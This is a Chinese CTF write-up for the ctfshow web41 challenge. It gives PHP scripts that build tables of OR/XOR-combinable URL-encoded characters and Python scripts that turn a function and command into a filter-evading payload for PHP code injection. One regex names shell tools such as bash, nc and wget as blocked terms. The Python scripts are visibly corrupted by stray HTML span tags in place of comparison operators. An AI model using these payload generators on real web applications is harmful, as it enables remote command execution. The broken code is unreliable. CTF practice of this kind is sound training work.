ctfshow中web入门第web41

ctfshow中web入门第web41

留下了|运算绕过的方法那么直接利用脚本即可。

先用or运算的php脚本生成需要的规则文件(.txt文件)。如下图直接把需要绕过的正则替换成题目的正则就好:

再用python脚本基于刚刚生成的txt文件跑出payload,如下图:

结果中的分号需要去除。就ok了。

利用代码:

php 复制代码
//php或运算绕过脚本
<?php
$myfile = fopen("res_xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
php 复制代码
//php异或绕过脚本
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
python 复制代码
//python或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res_xor.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
python 复制代码
//python异或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

相关推荐
第十六年盛夏.5 小时前
【网络安全】SQL注入
sql·web安全·网络安全
网络空间小黑11 小时前
WEB渗透测试----信息收集
服务器·前端·网络·安全·web安全·网络安全
上海云盾商务经理杨杨12 小时前
2025年网站安全防御全解析:应对DDoS与CC攻击的智能策略
安全·web安全·网络安全·ddos
一口一个橘子21 小时前
[ctfshow web入门] web69
前端·web安全·网络安全
毒果1 天前
网络安全:账号密码与诈骗防范
网络·安全·web安全
大刘讲IT1 天前
IT/OT 融合架构下的工业控制系统安全攻防实战研究
经验分享·安全·web安全·架构·制造
路baby1 天前
2025第九届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·视频编解码·misc·crypto·御网杯
small_white_robot1 天前
OSCP备战-kioptrixvm3详细解法
网络·安全·web安全
Lingxw_w1 天前
【网络安全】——大端序(Big-Endian)和小端序(Little-Endian)
安全·web安全
幽络源小助理2 天前
SpringBoot框架开发网络安全科普系统开发实现
java·spring boot·后端·spring·web安全